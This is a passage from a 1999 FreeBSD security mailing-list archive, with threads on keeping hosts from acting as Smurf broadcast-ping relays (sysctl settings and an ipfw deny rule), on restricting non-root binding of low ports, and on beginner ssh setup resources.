> > > > > > > > > > > > > > > Hi, > > > > > > > > > > Is it enough to do "sysctl -w net.inet.icmp.bmcastecho=0" to prevent > > > >being > > > > > Smurf Intermediary? And if so, how can I check it to get sure if it is > > > >ok? > > > > > I did the above change, but my freebsd box still responses to ping (from > > > >a > > > > > pc on the same Ehternet) to broadcast address. Is it normal? > > > > > > > > > > thanks, > > > > > Nazila M. > > > > > > > > > > > > > > > ______________________________________________________ > > > > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > > > > > > > > > > >-- > > > >Michael Lucas | > > > >Exceptionet, Inc. | www.exceptionet.com > > > >"Exceptional Networking" | > > > > > > > > > > > > > ______________________________________________________ > > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > ******************************************************************* > > Nick Rogness "Never settle with words what > > System Administrator can be accomplished with a > > RapidNet, INC flame-thrower" > > nick@rapidnet.com > > ******************************************************************* > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > ******************************************************************* Nick Rogness "Never settle with words what System Administrator can be accomplished with a RapidNet, INC flame-thrower" nick@rapidnet.com ******************************************************************* To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 11: 1:50 1999 Delivered-To: freebsd-security@freebsd.org Received: from aniwa.sky (p32-max12.wlg.ihug.co.nz [216.100.145.32]) by hub.freebsd.org (Postfix) with ESMTP id E057514D10 for ; Tue, 22 Jun 1999 11:01:42 -0700 (PDT) (envelope-from andrew@scoop.co.nz) Received: from aniwa.sky (localhost [127.0.0.1]) by aniwa.sky (8.9.1a/8.9.1) with ESMTP id FAA07268; Wed, 23 Jun 1999 05:58:37 +1200 (NZST) Message-Id: <199906221758.FAA07268@aniwa.sky> X-Mailer: exmh version 2.0.2 2/24/98 To: Dag-Erling Smorgrav Cc: Michael Richards <026809r@dragon.acadiau.ca>, freebsd-security@FreeBSD.ORG Subject: Re: Allowing non root users to bind low ports In-reply-to: Your message of "21 Jun 1999 14:55:04 +0200." Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Wed, 23 Jun 1999 05:58:36 +1200 From: Andrew McNaughton Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org > Michael Richards <026809r@dragon.acadiau.ca> writes: > > I was giving this concept a little thought. If I'm not root and I can bind > > a low port, let's say the telnet port. I could write myself a fake telnet > > daemon and run it. Sooner or later, someone is going to try using it... > > This whole thing about non-root users binding to low ports would only be > > useful if there are no shell accounts on a machine IMO. > > Well, duh. That's why we want to turn this off before going multiuser > (but after starting stuff like sendmail etc.) That approach is of limited use unless you're prepared to reboot your machine every time you want to change your sendmail configuration. Sounds too much like Windows for my liking. Nothing short of reconfiguring the kernel or a make world should require a reboot. Andrew McNaughton -- Andrew McNaughton +64 4 389 6891 andrew@scoop.co.nz http://www.scoop.co.nz/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 11: 5:32 1999 Delivered-To: freebsd-security@freebsd.org Received: from khavrinen.lcs.mit.edu (khavrinen.lcs.mit.edu [18.24.4.193]) by hub.freebsd.org (Postfix) with ESMTP id DF4A11545C for ; Tue, 22 Jun 1999 11:05:21 -0700 (PDT) (envelope-from wollman@khavrinen.lcs.mit.edu) Received: (from wollman@localhost) by khavrinen.lcs.mit.edu (8.9.1/8.9.1) id OAA13086; Tue, 22 Jun 1999 14:05:16 -0400 (EDT) (envelope-from wollman) Date: Tue, 22 Jun 1999 14:05:16 -0400 (EDT) From: Garrett Wollman Message-Id: <199906221805.OAA13086@khavrinen.lcs.mit.edu> To: Andrew McNaughton Cc: freebsd-security@FreeBSD.ORG Subject: Re: Allowing non root users to bind low ports In-Reply-To: <199906221758.FAA07268@aniwa.sky> References: <199906221758.FAA07268@aniwa.sky> Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org < said: > Sounds too much like Windows for my liking. Nothing short of reconfiguring > the kernel or a make world should require a reboot. Well, it's a choice you have to make -- do you want easy configuration, or do you want to make life very difficult for crackers? Obviously if your goal is the latter, then you must accept some difficulty in the former -- otherwise the crackers can simply impersonate you and make nefarious changes. -GAWollman -- Garrett A. Wollman | O Siem / We are all family / O Siem / We're all the same wollman@lcs.mit.edu | O Siem / The fires of freedom Opinions not those of| Dance in the burning flame MIT, LCS, CRS, or NSA| - Susan Aglukark and Chad Irschick To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 11:49:48 1999 Delivered-To: freebsd-security@freebsd.org Received: from smtp.thegrid.net (smtp.thegrid.net [209.162.1.11]) by hub.freebsd.org (Postfix) with SMTP id 8CF84153CF for ; Tue, 22 Jun 1999 11:49:35 -0700 (PDT) (envelope-from dean@thegrid.net) Received: (qmail 5606 invoked from network); 22 Jun 1999 18:49:34 -0000 Received: from pop.thegrid.net (209.162.1.5) by smtp.thegrid.net with SMTP; 22 Jun 1999 18:49:34 -0000 Received: from zippy (lax-ts6-h1-54-123.ispmodems.net [209.162.54.123]) by pop.thegrid.net (8.9.1a/8.9.1) with SMTP id LAA05922 for ; Tue, 22 Jun 1999 11:49:31 -0700 (PDT) Message-Id: <4.1.19990622113736.009637d0@mail.thegrid.net> X-Sender: i289861@mail.thegrid.net X-Mailer: QUALCOMM Windows Eudora Pro Version 4.1 Date: Tue, 22 Jun 1999 11:40:58 -0700 To: security@FreeBSD.ORG From: Dean Subject: Re: Question: Preventing Smurf In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At 11:39 AM 6/22/99 -0600, you wrote: >On Tue, 22 Jun 1999, Pete Fritchman wrote: > >> so let me get this straight... >> >> if your gateway is ping'able you *CAN* be a smurf relay? > > I'm not sure. I would image that would depend on several > variables...such as what type of smurf program they are using, > or if they are just flood pinging your broadcast address. WHat > your 'gateway' is and how it handles ICMP firewalling/filtering. > > Ping packets shouldn't be hitting your broadcast or your BSD box. > There are other ICMP types but none (that I can think of) should > be broadcasting to your whole network. If there is... then I > retract my previous statement and apologize, but I can't think of > any. > > I've seen whole networks dropped to the their 'knees' because of > machines answering ping packets on the broadcast. You should also > block this on your border routers and WAN interfaces. But this > ipfw rule helps if someone is attacking on your internal network. > This ideal thing to do would be to filter broadcast pings out at your boarder routers/gateways. This will prevent you from having to configure ALL the machines on your network and save you a lot of time. Heck, I'd filter out all echo requests coming in to my network. My 2cents, Dean > >> >> --------------------------------------------- >> Pete Fritchman petef@netreach.net >> Netreach www.netreach.net >> System Administrator >> >> On Tue, 22 Jun 1999, Nick Rogness wrote: >> >> > On Tue, 22 Jun 1999, N.N.M wrote: >> > >> > > Thanks for your reply. That is the point: I disable >net.inet.icmp.bmcastecho >> > > (=0) on a freebsd box with the IP, i.e. x.x.11.18. But when I use >broadcast >> > > ping (ping x.x.11.255) on another pc (i.e. x.x.11.17) on the same >Ethernet, >> > > the first machine which is not supposed to reply to the ping, will >reply! So >> > > I thought I might need another thing to disable that or maybe using >> > > broadcast ping on the same Ethernet isn't a good way to test it or >...... >> > > Any idea? >> > >> > >> > # Deny icmp packets from hitting broadcast >> > ipfw add 3000 deny log icmp from any to x.x.11.255/32 in via de0 >> > >> > >> > > >> > > Nazila M. >> > > >> > > >> > > >From: mwlucas@exceptionet.com >> > > >To: madrapour@hotmail.com (N.N.M) >> > > >CC: freebsd-security@FreeBSD.ORG >> > > >Subject: Re: Question: Preventing Smurf >> > > >Date: Tue, 22 Jun 1999 07:06:52 -0400 (EDT) >> > > >MIME-Version: 1.0 >> > > >From mwlucas@easeway.com Tue Jun 22 11:18:15 1999 >> > > >Received: (from mwlucas@localhost)by easeway.com (8.8.8/8.8.5) id >> > > >HAA02940;Tue, 22 Jun 1999 07:06:56 -0400 (EDT) >> > > >Message-Id: <199906221106.HAA02940@easeway.com> >> > > >In-Reply-To: <19990622073945.98174.qmail@hotmail.com> from "N.N.M" at >"Jun >> > > >22, 99 00:39:43 am" >> > > >X-Mailer: ELM [version 2.4ME+ PL32 (25)] >> > > > >> > > >To test if it works, ping your subnet's broadcast address (i.e., >> > > >a.b.c.255). If you're not sure of the broadcast, an ifconfig -a will >give >> > > >it to you. >> > > > >> > > >The machine won't respond to a broadcast ping. > This will prevent you from >> > > >being a smurf relay. >> > > > >> > > >A more effective method would be to block broadcast pings at the >router to >> > > >your network. Check your router's documentation or mfg. web site for >> > > >exact instructions. >> > > > >> > > >Regards, >> > > >==ml >> > > > >> > > > >> > > > > >> > > > > Hi, >> > > > > >> > > > > Is it enough to do "sysctl -w net.inet.icmp.bmcastecho=0" to prevent >> > > >being >> > > > > Smurf Intermediary? And if so, how can I check it to get sure if >it is >> > > >ok? >> > > > > I did the above change, but my freebsd box still responses to ping >(from >> > > >a >> > > > > pc on the same Ehternet) to broadcast address. Is it normal? >> > > > > >> > > > > thanks, >> > > > > Nazila M. >> > > > > >> > > > > >> > > > > ______________________________________________________ >> > > > > Get Your Private, Free Email at http://www.hotmail.com >> > > > > >> > > > > >> > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org >> > > > > with "unsubscribe freebsd-security" in the body of the message >> > > > > >> > > > >> > > > >> > > >-- >> > > >Michael Lucas | >> > > >Exceptionet, Inc. | www.exceptionet.com >> > > >"Exceptional Networking" | >> > > > >> > > >> > > >> > > ______________________________________________________ >> > > Get Your Private, Free Email at http://www.hotmail.com >> > > >> > > >> > > To Unsubscribe: send mail to majordomo@FreeBSD.org >> > > with "unsubscribe freebsd-security" in the body of the message >> > > >> > >> > ******************************************************************* >> > Nick Rogness "Never settle with words what >> > System Administrator can be accomplished with a >> > RapidNet, INC flame-thrower" >> > nick@rapidnet.com >> > ******************************************************************* >> > >> > >> > >> > >> > To Unsubscribe: send mail to majordomo@FreeBSD.org >> > with "unsubscribe freebsd-security" in the body of the message >> > >> > >******************************************************************* >Nick Rogness "Never settle with words what >System Administrator can be accomplished with a >RapidNet, INC flame-thrower" >nick@rapidnet.com >******************************************************************* > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message ------------------------------------------------------------------------------- A train stops at a train station, a bus stops at a bus staion. On my desk, I have a workstation.... ------------------------------------------------------------------------------- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 12:21:36 1999 Delivered-To: freebsd-security@freebsd.org Received: from burka.carrier.kiev.ua (burka.carrier.kiev.ua [193.193.193.107]) by hub.freebsd.org (Postfix) with ESMTP id B19B814C9A for ; Tue, 22 Jun 1999 12:20:58 -0700 (PDT) (envelope-from netch@lucky.net) Received: (from netch@localhost) by burka.carrier.kiev.ua (8.Who.Cares/Guinness_Is_Better) id WAA21571 for freebsd-security@freebsd.org; Tue, 22 Jun 1999 22:20:55 +0300 (EEST) (envelope-from netch) Date: Tue, 22 Jun 1999 22:20:55 +0300 From: Valentin Nechayev To: freebsd-security@freebsd.org Subject: Re: proposed secure-level 4 patch Message-ID: <19990622222055.J2436@lucky.net> References: <376D27ED.0180@funbox.demon.co.uk> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii User-Agent: Mutt/0.96.1i In-Reply-To: <376D27ED.0180@funbox.demon.co.uk> <199906210518.PAA15232@cheops.anu.edu.au> <19990621142104.X63035@bitbox.follo.net> Organization: Lucky Netch Incorporated Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At Mon, 21 Jun 1999 14:21:04 +0200, eivind@freebsd.org wrote: >> How about a bit vector defining which ports can and can't be bound from >> non-root below 1024 ? >> >> a 256 byte array doesn't sound too bad does it ? EE> Why haven't I seen the magic words of 'Merge from OpenBSD' in a commit EE> related to this yet? ;-) ;) Because it is not enough... full realization must give possibility to change the plain old ;) fixed rule "0..1023 for root, other for all; no 'automatic' binding to 0..1023" to any possible variant, for example: -> Deny all except uid 65530 to bind ports 3128-3130 on bind() with specified port number. Deny all (uid 65530 also) to bind these ports implicitly (means: without explicit bind, as first free port number). One can ask "why"? Because squid can die, and I don't want situation when a bad user catches one of these ports and prevents squid from restarting. -> Allow port 25 to be bound by uid 25 (postfix or sendmail, as you wish). -> Deny implicit binding to ports 6000-6099 for any (but allow explicit binding, for any user which wants simulate Xserver). -> Deny all explicit and implicit binding for all to 31337 port, to avoid fake BO detections. And so on... I have made such implementation, but with ipfw-styled interface. If someone can describe nesessary "capabilities" interface, it shall be remade & published. -- -- Valentin Nechayev netch@lucky.net II:LDXIII/MCMLXXII.CCC To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 19:36:27 1999 Delivered-To: freebsd-security@freebsd.org Received: from cybernex.net.au (isppp.cybernex.net.au [203.28.168.1]) by hub.freebsd.org (Postfix) with ESMTP id 444F814ECE for ; Tue, 22 Jun 1999 19:36:20 -0700 (PDT) (envelope-from jj@cybernex.net.au) Received: from jacobr (pppR4.cybernex.net.au [203.28.168.34]) by cybernex.net.au (8.8.5/8.8.5) with SMTP id MAA23311 for ; Wed, 23 Jun 1999 12:36:18 +1000 Message-Id: <199906230236.MAA23311@cybernex.net.au> From: "Jacob Rhoden" To: freebsd-security@FreeBSD.ORG Date: Wed, 23 Jun 1999 12:39:24 +1000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: ssh - beginners web site Reply-To: jj@cybernex.net.au X-mailer: Pegasus Mail for Win32 (v3.11) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Hi, I wonder if there are any web pages for people that are trying to setup ssh, the man pages are good if you already know what it is that theyre trying to explain (: Regards Jacob Rhoden ____________________________________________________________ "They said it would never come, They lied..." System Administrator/Web Developer/Programmer Jacob Rhoden - jj@cybernex.net.au jj.dominoid.dhs.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 20: 8:56 1999 Delivered-To: freebsd-security@freebsd.org Received: from fantasy.netreach.net (fantasy.netreach.net [205.197.101.219]) by hub.freebsd.org (Postfix) with ESMTP id 5E00914ECE for ; Tue, 22 Jun 1999 20:08:53 -0700 (PDT) (envelope-from petef@netreach.net) Received: from borneo (borneo.netreach.net [205.197.101.111]) by fantasy.netreach.net (8.9.3/8.9.0) with SMTP id XAA17927; Tue, 22 Jun 1999 23:09:25 -0400 (EDT) Date: Tue, 22 Jun 1999 23:11:13 -0400 (EDT) From: Pete Fritchman X-Sender: petef@borneo To: Jacob Rhoden Cc: freebsd-security@FreeBSD.ORG Subject: Re: ssh - beginners web site In-Reply-To: <199906230236.MAA23311@cybernex.net.au> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org What parts don't you get? It's pretty straight forward :] There is always http://www.ssh.fi [the mai site] --------------------------------------------- Pete Fritchman petef@netreach.net Netreach www.netreach.net System Administrator On Wed, 23 Jun 1999, Jacob Rhoden wrote: > Hi, > > I wonder if there are any web pages for people that are trying to > setup ssh, the man pages are good if you already know what it is > that theyre trying to explain (: > > Regards > Jacob Rhoden > ____________________________________________________________ > "They said it would never come, They lied..." > System Administrator/Web Developer/Programmer > Jacob Rhoden - jj@cybernex.net.au > jj.dominoid.dhs.org > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-security" in the body of the message > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 20:20: 2 1999 Delivered-To: freebsd-security@freebsd.org Received: from nsm.htp.org (nsm.htp.org [202.241.243.104]) by hub.freebsd.org (Postfix) with SMTP id 44A9B14A13 for ; Tue, 22 Jun 1999 20:19:57 -0700 (PDT) (envelope-from sen_ml@eccosys.com) Received: (qmail 4271 invoked from network); 23 Jun 1999 03:19:07 -0000 Received: from localhost (127.0.0.1) by localhost with SMTP; 23 Jun 1999 03:19:07 -0000 To: freebsd-security@FreeBSD.ORG Subject: Re: ssh - beginners web site From: sen_ml@eccosys.com In-Reply-To: Your message of "Wed, 23 Jun 1999 12:39:24 +1000" <199906230236.MAA23311@cybernex.net.au> References: <199906230236.MAA23311@cybernex.net.au> X-Mailer: Mew version 1.93 on Emacs 20.3 / Mule 4.0 (HANANOEN) X-No-Archive: Yes Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <19990623121952B.sen_ml@eccosys.com> Date: Wed, 23 Jun 1999 12:19:52 +0900 X-Dispatcher: imput version 980905(IM100) Lines: 12 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org At around Wed, 23 Jun 1999 12:39:24 +1000, "Jacob Rhoden" may have mentioned: > I wonder if there are any web pages for people that are trying to > setup ssh, the man pages are good if you already know what it is > that theyre trying to explain (: do the following help at all? http://www.employees.org/~satch/ssh/faq/ http://www.tac.nyc.ny.us/~kim/ssh/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Tue Jun 22 23:51:14 1999 Delivered-To: freebsd-security@freebsd.org Received: from hotmail.com (f236.hotmail.com [207.82.251.127]) by hub.freebsd.org (Postfix) with SMTP id 630BB15519 for ; Tue, 22 Jun 1999 23:51:11 -0700 (PDT) (envelope-from madrapour@hotmail.com) Received: (qmail 95384 invoked by uid 0); 23 Jun 1999 06:51:11 -0000 Message-ID: <19990623065111.95383.qmail@hotmail.com> Received: from 208.222.18.9 by www.hotmail.com with HTTP; Tue, 22 Jun 1999 23:51:07 PDT X-Originating-IP: [208.222.18.9] From: N.N.M To: petef@netreach.net, nick@rapidnet.com Cc: security@freebsd.org Subject: Re: Question: Preventing Smurf Date: Tue, 22 Jun 1999 23:51:07 PDT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Not just pingable, it's better to say : I can be a smurf relay if my hosts are broadcast-pingable. Agree? Am I right? Nazila M. >From: Pete Fritchman >To: Nick Rogness >CC: security@freebsd.org >Subject: Re: Question: Preventing Smurf >Date: Tue, 22 Jun 1999 13:10:31 -0400 (EDT) >MIME-Version: 1.0 >From owner-freebsd-security@freebsd.org Tue Jun 22 10:08:03 1999 >Received: by hub.freebsd.org (Postfix, from userid 538)id CB9021533F; Tue, >22 Jun 1999 10:07:53 -0700 (PDT) >Received: from localhost (localhost [127.0.0.1])by hub.freebsd.org >(Postfix) with SMTPid B056B1CD66E; Tue, 22 Jun 1999 10:07:53 -0700 >(PDT)(envelope-from owner-freebsd-security) >Received: by hub.freebsd.org (bulk_mailer v1.12); Tue, 22 Jun 1999 10:07:53 >-0700 >Delivered-To: freebsd-security@freebsd.org >Received: from fantasy.netreach.net (fantasy.netreach.net >[205.197.101.219])by hub.freebsd.org (Postfix) with ESMTP id 39F951515Afor >; Tue, 22 Jun 1999 10:07:48 -0700 (PDT)(envelope-from >petef@netreach.net) >Received: from borneo (borneo.netreach.net [205.197.101.111])by >fantasy.netreach.net (8.9.3/8.9.0) with SMTP id NAA19421;Tue, 22 Jun 1999 >13:08:47 -0400 (EDT) >X-Sender: petef@borneo >In-Reply-To: >Message-ID: >Sender: owner-freebsd-security@FreeBSD.ORG >X-Loop: FreeBSD.org >Precedence: bulk > >so let me get this straight... > >if your gateway is ping'able you *CAN* be a smurf relay? > >--------------------------------------------- >Pete Fritchman petef@netreach.net >Netreach www.netreach.net >System Administrator > >On Tue, 22 Jun 1999, Nick Rogness wrote: > > > On Tue, 22 Jun 1999, N.N.M wrote: > > > > > Thanks for your reply. That is the point: I disable >net.inet.icmp.bmcastecho > > > (=0) on a freebsd box with the IP, i.e. x.x.11.18. But when I use >broadcast > > > ping (ping x.x.11.255) on another pc (i.e. x.x.11.17) on the same >Ethernet, > > > the first machine which is not supposed to reply to the ping, will >reply! So > > > I thought I might need another thing to disable that or maybe using > > > broadcast ping on the same Ethernet isn't a good way to test it or >...... > > > Any idea? > > > > > > # Deny icmp packets from hitting broadcast > > ipfw add 3000 deny log icmp from any to x.x.11.255/32 in via de0 > > > > > > > > > > Nazila M. > > > > > > > > > >From: mwlucas@exceptionet.com > > > >To: madrapour@hotmail.com (N.N.M) > > > >CC: freebsd-security@FreeBSD.ORG > > > >Subject: Re: Question: Preventing Smurf > > > >Date: Tue, 22 Jun 1999 07:06:52 -0400 (EDT) > > > >MIME-Version: 1.0 > > > >From mwlucas@easeway.com Tue Jun 22 11:18:15 1999 > > > >Received: (from mwlucas@localhost)by easeway.com (8.8.8/8.8.5) id > > > >HAA02940;Tue, 22 Jun 1999 07:06:56 -0400 (EDT) > > > >Message-Id: <199906221106.HAA02940@easeway.com> > > > >In-Reply-To: <19990622073945.98174.qmail@hotmail.com> from "N.N.M" at >"Jun > > > >22, 99 00:39:43 am" > > > >X-Mailer: ELM [version 2.4ME+ PL32 (25)] > > > > > > > >To test if it works, ping your subnet's broadcast address (i.e., > > > >a.b.c.255). If you're not sure of the broadcast, an ifconfig -a will >give > > > >it to you. > > > > > > > >The machine won't respond to a broadcast ping. This will prevent you >from > > > >being a smurf relay. > > > > > > > >A more effective method would be to block broadcast pings at the >router to > > > >your network. Check your router's documentation or mfg. web site for > > > >exact instructions. > > > > > > > >Regards, > > > >==ml > > > > > > > > > > > > > > > > > > Hi, > > > > > > > > > > Is it enough to do "sysctl -w net.inet.icmp.bmcastecho=0" to >prevent > > > >being > > > > > Smurf Intermediary? And if so, how can I check it to get sure if >it is > > > >ok? > > > > > I did the above change, but my freebsd box still responses to ping >(from > > > >a > > > > > pc on the same Ehternet) to broadcast address. Is it normal? > > > > > > > > > > thanks, > > > > > Nazila M. > > > > > > > > > > > > > > > ______________________________________________________ > > > > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > > > > > > > > > > >-- > > > >Michael Lucas | > > > >Exceptionet, Inc. | www.exceptionet.com > > > >"Exceptional Networking" | > > > > > > > > > > > > > ______________________________________________________ > > > Get Your Private, Free Email at http://www.hotmail.com > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > > with "unsubscribe freebsd-security" in the body of the message > > > > > > > ******************************************************************* > > Nick Rogness "Never settle with words what > > System Administrator can be accomplished with a > > RapidNet, INC flame-thrower" > > nick@rapidnet.com > > ******************************************************************* > > > > > > > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > > with "unsubscribe freebsd-security" in the body of the message > > > > > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-security" in the body of the message > ______________________________________________________ Get Your Private, Free Email at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 1:19:30 1999 Delivered-To: freebsd-security@freebsd.org Received: from flood.ping.uio.no (flood.ping.uio.no [129.240.78.31]) by hub.freebsd.org (Postfix) with ESMTP id 9112B14BDB for ; Wed, 23 Jun 1999 01:19:27 -0700 (PDT) (envelope-from des@flood.ping.uio.no) Received: (from des@localhost) by flood.ping.uio.no (8.9.3/8.9.1) id KAA11593; Wed, 23 Jun 1999 10:19:19 +0200 (CEST) (envelope-from des) To: Andrew McNaughton Cc: Dag-Erling Smorgrav , Michael Richards <026809r@dragon.acadiau.ca>, freebsd-security@FreeBSD.ORG Subject: Re: Allowing non root users to bind low ports References: <199906221758.FAA07268@aniwa.sky> From: Dag-Erling Smorgrav Date: 23 Jun 1999 10:19:18 +0200 In-Reply-To: Andrew McNaughton's message of "Wed, 23 Jun 1999 05:58:36 +1200" Message-ID: Lines: 24 X-Mailer: Gnus v5.5/Emacs 19.34 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org Andrew McNaughton writes: > > Michael Richards <026809r@dragon.acadiau.ca> writes: > > > I was giving this concept a little thought. If I'm not root and I can bind > > > a low port, let's say the telnet port. I could write myself a fake telnet > > > daemon and run it. Sooner or later, someone is going to try using it... > > > This whole thing about non-root users binding to low ports would only be > > > useful if there are no shell accounts on a machine IMO. > > Well, duh. That's why we want to turn this off before going multiuser > > (but after starting stuff like sendmail etc.) > That approach is of limited use unless you're prepared to reboot your machine > every time you want to change your sendmail configuration. > > Sounds too much like Windows for my liking. Nothing short of reconfiguring > the kernel or a make world should require a reboot. Gee, man, ever heard of the security/usability tradeoff? Of course you wouldn't do that on a box unless you were sure it was already configured properly. Please try to understand what the discussion is about before butting in. DES -- Dag-Erling Smorgrav - des@flood.ping.uio.no To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 2:25:11 1999 Delivered-To: freebsd-security@freebsd.org Received: from metis.host4u.net (metis.host4u.net [209.150.128.22]) by hub.freebsd.org (Postfix) with ESMTP id CFDAF15084 for ; Wed, 23 Jun 1999 02:25:08 -0700 (PDT) (envelope-from dan.langille@dvl-software.com) Received: from wocker (210-55-152-41.ipnets.xtra.co.nz [210.55.152.41]) by metis.host4u.net (8.8.5/8.8.5) with SMTP id EAA04515; Wed, 23 Jun 1999 04:24:33 -0500 Message-Id: <199906230924.EAA04515@metis.host4u.net> From: "Dan Langille" Organization: DVL Software Limited To: "Jacob Rhoden" Date: Wed, 23 Jun 1999 21:24:52 +1200 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: ssh - beginners web site Reply-To: dan.langille@dvl-software.com Cc: freebsd-security@FreeBSD.ORG In-reply-to: <199906230236.MAA23311@cybernex.net.au> X-mailer: Pegasus Mail for Win32 (v3.01d) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org On 23 Jun 99, at 12:39, Jacob Rhoden wrote: > I wonder if there are any web pages for people that are trying to > setup ssh, the man pages are good if you already know what it is > that theyre trying to explain (: http://www.freebsddiary.org/freebsd/ssh.htm -- Dan Langille - DVL Software Limited The FreeBSD Diary - http://www.FreeBSDDiary.org/freebsd/ NZ FreeBSD User Group - http://www.nzfug.nz.freebsd.org/ The Racing System - http://www.racingsystem.com/racingsystem.htm To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 3:54:31 1999 Delivered-To: freebsd-security@freebsd.org Received: from cybernex.net.au (isppp.cybernex.net.au [203.28.168.1]) by hub.freebsd.org (Postfix) with ESMTP id 3748914FD2 for ; Wed, 23 Jun 1999 03:54:24 -0700 (PDT) (envelope-from jj@cybernex.net.au) Received: from jacobr (pppR3.cybernex.net.au [203.28.168.33]) by cybernex.net.au (8.8.5/8.8.5) with SMTP id UAA29847 for ; Wed, 23 Jun 1999 20:54:23 +1000 Message-Id: <199906231054.UAA29847@cybernex.net.au> From: "Jacob Rhoden" To: freebsd-security@FreeBSD.ORG Date: Wed, 23 Jun 1999 20:57:28 +1000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: ssh web site..sorry fixed Reply-To: jj@cybernex.net.au In-reply-to: <199906230924.EAA04515@metis.host4u.net> References: <199906230236.MAA23311@cybernex.net.au> X-mailer: Pegasus Mail for Win32 (v3.11) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org i misread the man pages, i was puting the filename of the key, not the actual key in the "autorized_keys" file. Jacob ____________________________________________________________ "They said it would never come, They lied..." System Administrator/Web Developer/Programmer Jacob Rhoden - jj@cybernex.net.au jj.dominoid.dhs.org To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-security" in the body of the message From owner-freebsd-security Wed Jun 23 3:58:21 1999 Delivered-To: freebsd-security@freebsd.org Received: from cybernex.net.au (isppp.cybernex.net.au [203.28.168.1]) by hub.freebsd.org (Postfix) with ESMTP id D2CB514FD2 for ; Wed, 23 Jun 1999 03:58:09 -0700 (PDT) (envelope-from jj@cybernex.net.au) Received: from jacobr (pppR3.cybernex.net.au [203.28.168.33]) by cybernex.net.au (8.8.5/8.8.5) with SMTP id UAA29682 for ; Wed, 23 Jun 1999 20:40:08 +1000 Message-Id: <199906231040.UAA29682@cybernex.net.au> From: "Jacob Rhoden" To: freebsd-security@FreeBSD.ORG Date: Wed, 23 Jun 1999 20:42:59 +1000 MIME-Version: 1.0 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7BIT Subject: Re: ssh - beginners web site Reply-To: jj@cybernex.net.au References: Your message of "Wed, 23 Jun 1999 12:39:24 +1000" <199906230236.MAA23311@cybernex.net.au> In-reply-to: <19990623121952B.sen_ml@eccosys.com> X-mailer: Pegasus Mail for Win32 (v3.11) Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.org To: freebsd-security@FreeBSD.ORG Subject: Re: ssh - beginners web site From: sen_ml@eccosys.com Date sent: Wed, 23 Jun 1999 12:19:52 +0900 I plan to use RSA for authentication, i have installed and setup ssh, used 